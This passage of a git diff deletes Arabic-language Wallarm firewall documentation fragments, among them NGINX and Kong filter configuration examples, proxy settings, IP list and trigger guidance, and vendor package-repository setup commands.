178.79.168.201 -* 178.79.168.241 -* 178.79.168.186 -* 85.159.208.25 -* 139.162.220.5 -* 212.71.252.245 \ No newline at end of file diff --git a/include-ar/setup-filter-kong-en-latest.md b/include-ar/setup-filter-kong-en-latest.md deleted file mode 100644 index 2b36ec4fd6..0000000000 --- a/include-ar/setup-filter-kong-en-latest.md +++ /dev/null @@ -1,41 +0,0 @@ -يتم تكوين قواعد التصفية والوكالة في ملف `/etc/kong/nginx-wallarm.template`. - -لرؤية معلومات تفصيلية حول العمل مع ملفات تكوين NGINX، تابع إلى [التوثيق الرسمي لـNGINX](https://nginx.org/en/docs/beginners_guide.html). - -تحدد توجيهات Wallarm منطق عمل عقدة تصفية Wallarm. لرؤية قائمة خيارات تكوين Wallarm المتاحة، تابع إلى صفحة [خيارات تكوين Wallarm](../admin-en/configure-parameters-en.md). - -**مثال على ملف التكوين** - -لنفترض أنك بحاجة إلى تكوين الخادم للعمل في الظروف التالية: -* يتم معالجة حركة المرور HTTP فقط. لا يتم معالجة طلبات HTTPS. -* النطاقات التالية تستقبل الطلبات: `example.com` و`www.example.com`. -* يجب تمرير جميع الطلبات إلى الخادم `10.80.0.5`. -* يعتبر جميع الطلبات الواردة أقل من 1MB في الحجم (الإعداد الافتراضي). -* معالجة الطلب لا تأخذ أكثر من 60 ثانية (الإعداد الافتراضي). -* يجب أن يعمل Wallarm في وضع المراقبة. -* العملاء يصلون إلى عقدة التصفية مباشرة، بدون موازن تحميل HTTP وسيط. - -لتلبية الشروط المذكورة، يجب أن يكون محتوى ملف التكوين على النحو التالي: - -``` - server { - listen 80; - listen [::]:80 ipv6only=on; - - # النطاقات التي يتم معالجة حركة المرور لها - server_name example.com; - server_name www.example.com; - - # تشغيل وضع المراقبة لمعالجة حركة المرور - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # تعيين العنوان لتوجيه الطلب - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } -``` \ No newline at end of file diff --git a/include-ar/setup-filter-kong-en.md b/include-ar/setup-filter-kong-en.md deleted file mode 100644 index 9b051e32bd..0000000000 --- a/include-ar/setup-filter-kong-en.md +++ /dev/null @@ -1,43 +0,0 @@ -تُكون قواعد التصفية والوكالة مُهيأة في ملف `/etc/kong/nginx-wallarm.template`. - -لرؤية معلومات مفصلة حول العمل مع ملفات التهيئة الخاصة بـ NGINX، يُرجى الانتقال إلى [الوثائق الرسمية لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). - -تُعرف تعليمات Wallarm منطق عمل عقدة التصفية Wallarm. لرؤية قائمة الخيارات التهيئية لـ Wallarm المتاحة، يُرجى الانتقال إلى صفحة [خيارات تهيئة Wallarm](../admin-en/configure-parameters-en.md). - -**مثال على ملف التهيئة** - -لنفترض أنك تحتاج إلى تهيئة الخادم للعمل في الظروف التالية: -* فقط حركة الـ HTTP يتم معالجتها. لا يتم معالجة طلبات HTTPS. -* النطاقات التالية تتلقى الطلبات: `example.com` و `www.example.com`. -* يجب تمرير جميع الطلبات إلى الخادم `10.80.0.5`. -* جميع الطلبات الواردة تُعتبر أقل من 1MB في الحجم (إعداد افتراضي). -* معالجة طلب لا تستغرق أكثر من 60 ثانية (إعداد افتراضي). -* يجب أن يعمل Wallarm في وضع المراقبة. -* العملاء يصلون إلى عقدة التصفية مباشرة، بدون موازن تحميل HTTP وسيط. - -لتلبية الشروط المذكورة، يجب أن يكون محتوى ملف التهيئة كالتالي: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # النطاقات التي يتم معالجة الحركة لها - server_name example.com; - server_name www.example.com; - - # تشغيل وضع المراقبة لمعالجة الحركة - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # تحديد عنوان لإعادة توجيه الطلب - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-ar/setup-filter-nginx-en-latest.md b/include-ar/setup-filter-nginx-en-latest.md deleted file mode 100644 index ae298608c1..0000000000 --- a/include-ar/setup-filter-nginx-en-latest.md +++ /dev/null @@ -1,55 +0,0 @@ -تحتوي الملفات التالية على إعدادات NGINX وعقدة فلترة Wallarm: - -* `/etc/nginx/nginx.conf` يُعرّف تكوين NGINX -* `/etc/nginx/conf.d/wallarm.conf` يُعرّف التكوين العالمي لعقدة فلترة Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` يُعرّف تكوين خدمة مراقبة عقدة الفلترة - -يمكنك إنشاء ملفات تكوين خاصة بك لتعريف عمل NGINX وWallarm. يُنصح بإنشاء ملف تكوين منفصل يحتوي على `server` لكل مجموعة من النطاقات التي يجب معالجتها بنفس الطريقة. - -لرؤية معلومات تفصيلية حول العمل مع ملفات تكوين NGINX، انتقل إلى [وثائق NGINX الرسمية](https://nginx.org/en/docs/beginners_guide.html). - -تعرّف تعليمات Wallarm منطق عمل عقدة فلترة Wallarm. لرؤية قائمة التعليمات Wallarm المتاحة، انتقل إلى صفحة [خيارات تكوين Wallarm](configure-parameters-en.md). - -**مثال على ملف تكوين** - -لنفترض أنك بحاجة إلى تكوين الخادم ليعمل في الظروف التالية: -* يتم معالجة حركة مرور HTTP فقط. لا يتم معالجة طلبات HTTPS. -* النطاقات التالية تتلقى الطلبات: `example.com` و`www.example.com`. -* يجب تمرير جميع الطلبات إلى الخادم `10.80.0.5`. -* يُعتبر جميع الطلبات الواردة أقل من 1MB في الحجم (الإعداد الافتراضي). -* معالجة الطلب لا تستغرق أكثر من 60 ثانية (الإعداد الافتراضي). -* يجب أن تعمل Wallarm في وضع المراقبة. -* العملاء يصلون إلى عقدة الفلترة مباشرةً، بدون موازن تحميل HTTP وسيط. - -!!! info "إنشاء ملف تكوين" - يمكنك إنشاء ملف تكوين NGINX مخصص (مثل `example.com.conf`) أو تعديل ملف تكوين NGINX الافتراضي (`default.conf`). - - عند إنشاء ملف تكوين مخصص، تأكد من أن NGINX يستمع إلى الاتصالات الواردة على المنفذ الحر. - - -لتلبية الشروط المذكورة، يجب أن يكون محتوى ملف التكوين كما يلي: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # النطاقات التي يتم معالجة حركة المرور لها - server_name example.com; - server_name www.example.com; - - # تشغيل وضع مراقبة معالجة حركة المرور - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - # ضبط العنوان لتوجيه الطلب - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-ar/setup-filter-nginx-en.md b/include-ar/setup-filter-nginx-en.md deleted file mode 100644 index 3a3fd54b1c..0000000000 --- a/include-ar/setup-filter-nginx-en.md +++ /dev/null @@ -1,54 +0,0 @@ -تحتوي الملفات التالية على إعدادات NGINX وعقدة تصفية Wallarm: - -* `/etc/nginx/nginx.conf` يحدد تكوين NGINX -* `/etc/nginx/conf.d/wallarm.conf` يحدد التكوين العالمي لعقدة تصفية Wallarm -* `/etc/nginx/conf.d/wallarm-status.conf` يحدد تكوين خدمة مراقبة عقدة التصفية - -يمكنك إنشاء ملفات تكوين خاصة بك لتحديد طريقة عمل NGINX وWallarm. يُنصح بإنشاء ملف تكوين منفصل بكتلة `server` لكل مجموعة من النطاقات التي يجب معالجتها بنفس الطريقة. - -لرؤية معلومات مفصلة عن العمل مع ملفات تكوين NGINX، انتقل إلى [الوثائق الرسمية لـNGINX](https://nginx.org/en/docs/beginners_guide.html). - -تحدد تعليمات Wallarm منطق عمل عقدة تصفية Wallarm. لرؤية قائمة بالتعليمات المتاحة لـWallarm، انتقل إلى صفحة [خيارات تكوين Wallarm](configure-parameters-en.md). - -**مثال على ملف التكوين** - -لنفترض أنك بحاجة إلى تكوين الخادم للعمل في الظروف التالية: -* يتم معالجة حركة المرور HTTP فقط. لا يتم معالجة طلبات HTTPS. -* النطاقات التالية تتلقى الطلبات: `example.com` و`www.example.com`. -* يجب تمرير جميع الطلبات إلى الخادم `10.80.0.5`. -* يعتبر جميع الطلبات الواردة أقل من 1MB في الحجم (الإعداد الافتراضي). -* معالجة طلب لا تستغرق أكثر من 60 ثانية (الإعداد الافتراضي). -* يجب أن تعمل Wallarm في وضع المراقبة. -* العملاء يصلون إلى عقدة التصفية مباشرة، بدون موازن تحميل HTTP وسيط. - -!!! info "إنشاء ملف تكوين" - يمكنك إنشاء ملف تكوين NGINX مخصص (مثل `example.com.conf`) أو تعديل ملف تكوين NGINX الافتراضي (`default.conf`). - - عند إنشاء ملف تكوين مخصص، تأكد من أن NGINX يستمع إلى الاتصالات الواردة على المنفذ الحر. - -لتلبية الشروط المذكورة، يجب أن يكون محتوى ملف التكوين كالتالي: - -``` - - server { - listen 80; - listen [::]:80 ipv6only=on; - - # النطاقات التي يتم معالجة حركة المرور الخاصة بها - server_name example.com; - server_name www.example.com; - - # تشغيل وضع مراقبة معالجة حركة المرور - wallarm_mode monitoring; - # wallarm_instance 1; - - location / { - # تحديد عنوان إعادة توجيه الطلب - proxy_pass http://10.80.0.5; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - } - -``` \ No newline at end of file diff --git a/include-ar/setup-proxy.md b/include-ar/setup-proxy.md deleted file mode 100644 index 08c5d87c99..0000000000 --- a/include-ar/setup-proxy.md +++ /dev/null @@ -1,34 +0,0 @@ -!!! info - هذه الخطوة من إعداد وُجدت للمستخدمين الذين يستعملون خادم وكيل خاص بهم لتشغيل تطبيقات الويب المحمية. - - إذا لم تستخدم خادم وكيل، تخطى هذه الخطوة من الإعداد. - -تحتاج إلى تعيين قيم جديدة لمتغيرات البيئة، التي تحدد خادم الوكيل المستخدم، لضبط عقدة Wallarm لاستخدام خادم الوكيل الخاص بك. - -أضف قيم جديدة لمتغيرات البيئة إلى ملف `/etc/environment`: -* أضف `https_proxy` لتحديد وكيل لبروتوكول https. -* أضف `http_proxy` لتحديد وكيل لبروتوكول http. -* أضف `no_proxy` لتحديد قائمة الموارد التي لا ينبغي استخدام الوكيل لها. - -عيّن قيم السلسلة `://:@:` لمتغيري `https_proxy` و `http_proxy`. -* `` تُحدد البروتوكول المستخدم. يجب أن يتطابق مع البروتوكول الذي يضبط الوكيل له متغير البيئة الحالي. -* `` يحدد اسم المستخدم لتفويض الوكيل. -* `` يحدد كلمة المرور لتفويض الوكيل. -* `` يحدد مضيف خادم الوكيل. -* `` يحدد منفذ خادم الوكيل. - -عيّن قيمة المصفوفة `", , , , ..."`، حيث ``, ``, ``, و`` هي عناوين بروتوكول الإنترنت و/أو النطاقات، لمتغير `no_proxy` لتحديد قائمة الموارد التي لا ينبغي استخدام الوكيل لها. يجب أن تتألف هذه المصفوفة من عناوين بروتوكول الإنترنت و/أو النطاقات. - -!!! warning "الموارد التي يجب مخاطبتها بدون وكيل" - أضف العناوين التالية والنطاق إلى قائمة الموارد التي يجب مخاطبتها بدون وكيل لتشغيل النظام بشكل صحيح: `127.0.0.1`, `127.0.0.8`, `127.0.0.9`، و`localhost`. - تُستخدم عناوين بروتوكول الإنترنت `127.0.0.8` و`127.0.0.9` لتشغيل عقدة ترشيح Wallarm. - -مثال على محتويات ملف `/etc/environment` الصحيحة أدناه يوضح التكوين التالي: -* يتم توجيه طلبات HTTPS وHTTP إلى المضيف `1.2.3.4` بالمنفذ `1234`، باستخدام اسم المستخدم `admin` وكلمة المرور `01234` للتفويض على خادم الوكيل. -* يتم تعطيل التوجيه للطلبات المرسلة إلى `127.0.0.1`, `127.0.0.8`, `127.0.0.9`، و`localhost`. - -``` -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` \ No newline at end of file diff --git a/include-ar/trigger-processing-priorities.md b/include-ar/trigger-processing-priorities.md deleted file mode 100644 index 43ad35e4c4..0000000000 --- a/include-ar/trigger-processing-priorities.md +++ /dev/null @@ -1,13 +0,0 @@ -عندما يوجد عدة مشغلات بشروط متطابقة وبعضها يمتلك مستوى تداخل لمعرف المورد الموحد (URI)، ستحتسب الطلبات إلى معرف المورد الموحد بمستوى تداخل أقل في المشغل الذي يحتوي على الفلتر بمعرف المورد الموحد للمستوى التداخلي الأدنى فقط. - -!!! info "شرط المشغل" - يحدد شرط المشغل الحالة التي يجب أن يطبّق فيها المشغل. مثال: **القوة الغاشمة**، **التصفح القسري**، **BOLA**. يتم اختياره في الخطوة الأولى عند إنشاء مشغل جديد. - -تعتبر المشغلات التي لا تحتوي على فلتر معرف المورد الموحد بأنها ذات مستوى تداخل أعلى. - -**مثال:** - -* المشغل الأول بشرط معين لا يحتوي على فلتر بواسطة معرف المورد الموحد (تُحتسب الطلبات لأي تطبيق أو جزء منه بهذا المشغل). -* المشغل الثاني بذات الشرط له فلتر بواسطة معرف المورد الموحد `example.com/api`. - -الطلبات إلى `example.com/api` تُحتسب فقط بواسطة المشغل الثاني مع الفلتر بـ `example.com/api`. \ No newline at end of file diff --git a/include-ar/waf/acl-block-page-annotation-support.md b/include-ar/waf/acl-block-page-annotation-support.md deleted file mode 100644 index f1eda52d68..0000000000 --- a/include-ar/waf/acl-block-page-annotation-support.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "دعم تعليق nginx.ingress.kubernetes.io/wallarm-acl-block-page" - يُدعم تعليق متحكم الدخول `nginx.ingress.kubernetes.io/wallarm-acl-block-page` لـ Wallarm في [إصدار عقدة Wallarm 2.18](/admin-en/configuration-guides/configure-block-page-and-code/) فقط. \ No newline at end of file diff --git a/include-ar/waf/configure-separate-postanalytics-address-nginx.md b/include-ar/waf/configure-separate-postanalytics-address-nginx.md deleted file mode 100644 index 9eaa47b5cc..0000000000 --- a/include-ar/waf/configure-separate-postanalytics-address-nginx.md +++ /dev/null @@ -1,18 +0,0 @@ -أضف عناوين خوادم postanalytics إلى الملف `/etc/nginx/conf.d/wallarm.conf`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # تم التغاضي - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* يجب تحديد قيمة `max_conns` لكل من خوادم Tarantool الواقعة في المنبع لمنع إنشاء اتصالات زائدة. -* لا يجب أن تكون قيمة `keepalive` أقل من عدد خوادم Tarantool. -* السطر `# wallarm_tarantool_upstream wallarm_tarantool;` معلق بشكل افتراضي - يرجى حذف `#`. \ No newline at end of file diff --git a/include-ar/waf/features/bola-mitigation/bola-auto-mitigation-logic.md b/include-ar/waf/features/bola-mitigation/bola-auto-mitigation-logic.md deleted file mode 100644 index 3440c2b127..0000000000 --- a/include-ar/waf/features/bola-mitigation/bola-auto-mitigation-logic.md +++ /dev/null @@ -1,15 +0,0 @@ -بمجرد تفعيل حماية BOLA، تقوم Wallarm بـ: - -1. تحديد نقاط الوصول لواجهة برمجة التطبيقات التي من المرجح أن تكون هدفًا لهجمات BOLA، مثل تلك التي تحتوي على [تباين في معاملات المسار][variability-in-endpoints-docs]: `domain.com/path1/path2/path3/{variative_path4}`. - - !!! info "تستغرق هذه المرحلة فترة من الوقت" - يتطلب تحديد نقاط الوصول لواجهة برمجة التطبيقات الضعيفة فترة من الوقت اللازمة لمراقبة عميقة لجرد واجهة برمجة التطبيقات المكتشفة واتجاهات الحركة الواردة. - - تُحمى نقاط الوصول لواجهة برمجة التطبيقات التي تم استكشافها بواسطة وحدة **اكتشاف واجهة برمجة التطبيقات** ضد هجمات BOLA بطريقة آلية. وتُعلّم نقاط الوصول المحمية بالأيقونة المقابلة[bola-protection-for-endpoints-docs]. -1. تحمي نقاط الوصول لواجهة برمجة التطبيقات الضعيفة ضد هجمات BOLA. المنطق الافتراضي للحماية كالتالي: - - * يُعتبر الطلبات الواردة إلى نقطة الوصول الضعيفة والتي تتجاوز عتبة 180 طلبًا من نفس عنوان IP في الدقيقة الواحدة هجمات BOLA. - * تُسجل هجمات BOLA فقط في قائمة الأحداث عند الوصول إلى عتبة الطلبات من نفس عنوان IP. لا تقوم Wallarm بحجب هجمات BOLA. الطلبات ستستمر في الوصول إلى تطبيقاتك. - - رد الفعل المقابل في قالب الحماية التلقائية هو **تسجيل الهجمات فقط**. -1. تستجيب لـ[التغييرات في واجهة برمجة التطبيقات][changes-in-api-docs] عبر حماية نقاط الوصول الضعيفة الجديدة وتعطيل الحماية لنقاط الوصول التي تم إزالتها. \ No newline at end of file diff --git a/include-ar/waf/features/ip-lists/autopopulation-by-antibot.md b/include-ar/waf/features/ip-lists/autopopulation-by-antibot.md deleted file mode 100644 index a861a0be7b..0000000000 --- a/include-ar/waf/features/ip-lists/autopopulation-by-antibot.md +++ /dev/null @@ -1,5 +0,0 @@ -يقوم وحدة [منع إساءة استخدام API](../../api-abuse-prevention/overview.md) في Wallarm بتعبئة قائمة الرمادي أو قائمة الرفض أتوماتيكيًا بعناوين IP للبوتات الخبيثة. - -يتم تمييز عناوين IP الخاصة بالبوتات ب**السبب** `Bot` وتفاصيل طبيعتها بما في ذلك [معدل الثقة](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)، على سبيل المثال: - -![عناوين IP للبوتات المدرجة في قائمة الرفض](../../images/about-wallarm-waf/abi-abuse-prevention/denylisted-bot-ips.png) \ No newline at end of file diff --git a/include-ar/waf/features/ip-lists/common-actions-with-lists-allow-apps.md b/include-ar/waf/features/ip-lists/common-actions-with-lists-allow-apps.md deleted file mode 100644 index 9976b2362c..0000000000 --- a/include-ar/waf/features/ip-lists/common-actions-with-lists-allow-apps.md +++ /dev/null @@ -1,44 +0,0 @@ -[access-wallarm-api-docs]: ../../api/overview.md#your-own-client -[application-docs]: ../settings/applications.md - -## استدعاءات API للحصول على كائنات قائمة عناوين IP وتعبئتها وحذفها - -للحصول على كائنات قائمة عناوين IP وتعبئتها وحذفها، يمكنك [الاستدعاء المباشر لواجهة برمجة تطبيقات Wallarm](../../api/overview.md) بالإضافة إلى استخدام واجهة Wallarm Console. فيما يلي بعض الأمثلة على استدعاءات API المقابلة. - -### معاملات طلب API - -المعاملات التي يمكن تمريرها في طلبات API لقراءة وتغيير قوائم عناوين IP: - ---8<-- "../include/api-request-examples/ip-list-request-params.md" - -### إضافة إلى القائمة العناصر من ملف `.csv` - -لإضافة العناوين أو الشبكات الفرعية من ملف `.csv` إلى القائمة، استخدم السكريبت bash التالي: - ---8<-- "../include/api-request-examples/add-ips-to-lists-from-file.md" - -### إضافة عنوان IP أو شبكة فرعية واحدة إلى القائمة - ---8<-- "../include/api-request-examples/add-some-ips-to-lists.md" - -### إضافة عدة دول إلى القائمة - ---8<-- "../include/api-request-examples/add-some-countries-to-lists.md" - -### إضافة عدة خدمات بروكسي إلى القائمة - ---8<-- "../include/api-request-examples/add-some-proxies-to-lists.md" - -### حذف كائن من قائمة عناوين IP - -يتم حذف الكائنات من قوائم عناوين IP وفقاً لمعرفاتها. - -للحصول على معرف كائن، اطلب محتويات قائمة عناوين IP وانسخ `objects.id` للكائن المطلوب من الإستجابة: - ---8<-- "../include/api-request-examples/get-ip-list-contents.md" - -بمجرد الحصول على معرف الكائن، قم بإرسال الطلب التالي لحذفه من القائمة: - ---8<-- "../include/api-request-examples/delete-object-from-ip-list.md" - -يمكنك حذف عدة كائنات دفعة واحدة بتمرير معرفاتها كمصفوفة في طلب الحذف. \ No newline at end of file diff --git a/include-ar/waf/features/ip-lists/common-actions-with-lists-overview.md b/include-ar/waf/features/ip-lists/common-actions-with-lists-overview.md deleted file mode 100644 index 1f77e22467..0000000000 --- a/include-ar/waf/features/ip-lists/common-actions-with-lists-overview.md +++ /dev/null @@ -1,5 +0,0 @@ -* إضافة عنوان IP واحد أو شبكة فرعية -* إضافة مجموعة من عناوين IP المسجلة في دولة/منطقة، مركز البيانات، شبكة، إلخ محددة -* تخصيص الوقت والسبب لتخزين عنوان IP في القائمة -* حذف عنوان IP من القائمة -* مراجعة تاريخ تغييرات القائمة \ No newline at end of file diff --git a/include-ar/waf/features/ip-lists/common-actions-with-lists.md b/include-ar/waf/features/ip-lists/common-actions-with-lists.md deleted file mode 100644 index bd3e940c1e..0000000000 --- a/include-ar/waf/features/ip-lists/common-actions-with-lists.md +++ /dev/null @@ -1,58 +0,0 @@ -## إضافة كائن إلى القائمة - -لإضافة عنوان IP أو شبكة فرعية أو مجموعة من عنوانات IP إلى القائمة: - -1. انقر على زر **إضافة كائن**. -2. حدد عنوان IP أو مجموعة من عنوانات IP بإحدى الطرق التالية: - - * إدخال **عنوان IP** أو **شبكة فرعية** - - !!! info "أقنعة الشبكة الفرعية المدعومة" - أقصى قناع شبكة فرعية مدعوم هو `/32` لعنوانات IPv6 و`/12` لعنوانات IPv4. - - * اختر **دولة** أو **منطقة** (جيولوكيشن) لإضافة جميع عنوانات IP المسجلة في هذه الدولة/المنطقة - * حدد **نوع المصدر** لإضافة جميع عنوانات IP التي تنتمي إلى هذا النوع، مثل: - * **Tor** لعنوانات IP لشبكة Tor - * **Proxy** لعنوانات IP لخوادم البروكسي العامة أو خوادم الويب - * **عناكب محرك البحث** لعنوانات IP لعناكب محركات البحث - * **VPN** لعنوانات IP لشبكات الخاصة الافتراضية - * **AWS** لعنوانات IP المسجلة في Amazon AWS -3. حدد الفترة الزمنية التي يجب أن يتم إضافة عنوان IP أو مجموعة من عنوانات IP إليها في القائمة. القيمة الدنيا هي 5 دقائق، والقيمة العليا هي إلى الأبد. -4. حدد سبب إضافة عنوان IP أو مجموعة من عنوانات IP إلى القائمة. -5. أكد إضافة عنوان IP أو مجموعة من عنوانات IP إلى القائمة. - -![إضافة IP إلى القائمة (بدون تطبيق)](../../images/user-guides/ip-lists/add-ip-to-list-without-app.png) - -## تحليل الكائنات المضافة إلى القائمة - -تعرض واجهة Wallarm المعلومات التالية عن كل كائن مضاف إلى القائمة: - -* **الكائن** - عنوان IP، شبكة فرعية، دولة/منطقة أو مصدر IP المضاف إلى القائمة. -* **التطبيق** - التطبيق الذي يتم تطبيق تكوين الوصول للكائن عليه. بما أن تطبيق [تكوين وصول الكائن على تطبيقات معينة محدود](overview.md#known-caveats-of-ip-lists-configuration)، فهذا العمود يعرض دائما القيمة **الكل**. -* **السبب** - السبب وراء إضافة عنوان IP أو مجموعة من عنوانات IP إلى القائمة. يتم تحديد السبب يدوياً عند إضافة الكائنات إلى القائمة أو يتم إنشاؤه تلقائياً عند إضافة IPs إلى القائمة بواسطة [المحفزات](../triggers/triggers.md). -* **تاريخ الإضافة** - التاريخ والوقت الذي تم فيه إضافة كائن إلى القائمة. -* **إزالة** - الفترة الزمنية بعد الذي سيتم حذف كائن من القائمة. - -## تصفية القائمة - -يمكنك تصفية الكائنات في القائمة بناءً على: - -* عنوان IP أو شبكة فرعية محددة في سلسلة البحث -* الفترة الزمنية التي تريد الحصول على حالة القائمة لها -* الدولة/المنطقة التي تم تسجيل عنوان IP أو الشبكة الفرعية فيها -* المصدر الذي ينتمي إليه عنوان IP أو الشبكة الفرعية - -## تغيير الوقت الذي يكون فيه كائن على القائمة - -لتغيير الوقت الذي يكون فيه عنوان IP على القائمة: - -1. اختر كائناً من القائمة. -2. في قائمة الكائن المختار، انقر على **تغيير الفترة الزمنية**. -3. حدد تاريخاً جديداً لإزالة كائن من القائمة وأكد العملية. - -## حذف كائن من القائمة - -لحذف كائن من القائمة: - -1. اختر كائناً أو عدة كائنات من القائمة. -2. انقر على **حذف**. \ No newline at end of file diff --git a/include-ar/waf/features/multi-tenancy/partner-client-term.md b/include-ar/waf/features/multi-tenancy/partner-client-term.md deleted file mode 100644 index 7634c95497..0000000000 --- a/include-ar/waf/features/multi-tenancy/partner-client-term.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! تحذير "مصطلح "عميل شريك"" - في السابق، كان يشار إلى "المستأجر" بـ "عميل شريك". سنستخدم مصطلح "المستأجر" فيما بعد. \ No newline at end of file diff --git a/include-ar/waf/features/rules/request-part-reference.md b/include-ar/waf/features/rules/request-part-reference.md deleted file mode 100644 index 5da8b3a9cd..0000000000 --- a/include-ar/waf/features/rules/request-part-reference.md +++ /dev/null @@ -1 +0,0 @@ -لاحظ أنه يجب إضافة الخيارات إلى **في هذا الجزء من الطلب** بترتيب معين ليعكس الترتيب الذي ستستخدمه Wallarm لـ[تطبيق محللات البيانات][request-processing] لقراءة عنصر الطلب المطلوب. \ No newline at end of file diff --git a/include-ar/waf/features/rules/rule-creation-options.md b/include-ar/waf/features/rules/rule-creation-options.md deleted file mode 100644 index ca6be45b38..0000000000 --- a/include-ar/waf/features/rules/rule-creation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -يمكنك إنشاء وتطبيق القاعدة في كل من أقسام **الهجمات** و**القواعد** في واجهة Wallarm. - -* في قسم **الهجمات**، يتم إنشاء القواعد بوصف معبأ مسبقًا لنقاط النهاية لتطبيق القاعدة عليها. يتطابق وصف نقطة النهاية مع الطلب الذي نقرت على زر **القاعدة** لأجله. - - لإكمال إعداد القاعدة، عليك فقط تحديد نوع فعل القاعدة والتأكد من تكوين جميع مكونات القاعدة بشكل صحيح. -* في قسم **القواعد**، يجب ملء جميع مكونات القاعدة يدويًا. \ No newline at end of file diff --git a/include-ar/waf/features/rules/rule-vpatch-regex.md b/include-ar/waf/features/rules/rule-vpatch-regex.md deleted file mode 100644 index 4e4d86a45a..0000000000 --- a/include-ar/waf/features/rules/rule-vpatch-regex.md +++ /dev/null @@ -1,8 +0,0 @@ -لنفترض أن التطبيق الخاص بك الذي يمكن الوصول إليه عبر نطاق `example.com` يستخدم الرأس `X-AUTHENTICATION` بتنسيق 32 رمزًا سداسي عشريًا لمصادقة المستخدم وتريد رفض الرموز ذات التنسيق غير الصحيح. - -للقيام بذلك، اضبط قاعدة **إنشاء مؤشر الهجوم المستند إلى التعبير النظامي** واضبطها على **الإصلاح الافتراضي** كما هو معروض في لقطة الشاشة، بما في ذلك: - -* التعبير النظامي: `[^0-9a-f]|^.{33,}$|^.{0,31}$` -* جزء الطلب: `header` - `X-AUTHENTICATION` - -![قاعدة التعبير النظامي المثال الأول][img-regex-example1] \ No newline at end of file diff --git a/include-ar/waf/installation/add-nginx-waf-repos-4.2.md b/include-ar/waf/installation/add-nginx-waf-repos-4.2.md deleted file mode 100644 index 7dd69cf5e3..0000000000 --- a/include-ar/waf/installation/add-nginx-waf-repos-4.2.md +++ /dev/null @@ -1,41 +0,0 @@ -=== "Debian 10.x (buster)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x وأقل" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.2/x86_64/wallarm-node-repo-4.2-0.el7.noarch.rpm - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.2/x86_64/wallarm-node-repo-4.2-0.el8.noarch.rpm - ``` \ No newline at end of file diff --git a/include-ar/waf/installation/add-nginx-waf-repos-4.4.md b/include-ar/waf/installation/add-nginx-waf-repos-4.4.md deleted file mode 100644 index 0f9e99502e..0000000000 --- a/include-ar/waf/installation/add-nginx-waf-repos-4.4.md +++ /dev/null @@ -1,46 +0,0 @@ -=== "ديبيان 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "أوبونتو 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.4/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "أوبونتو 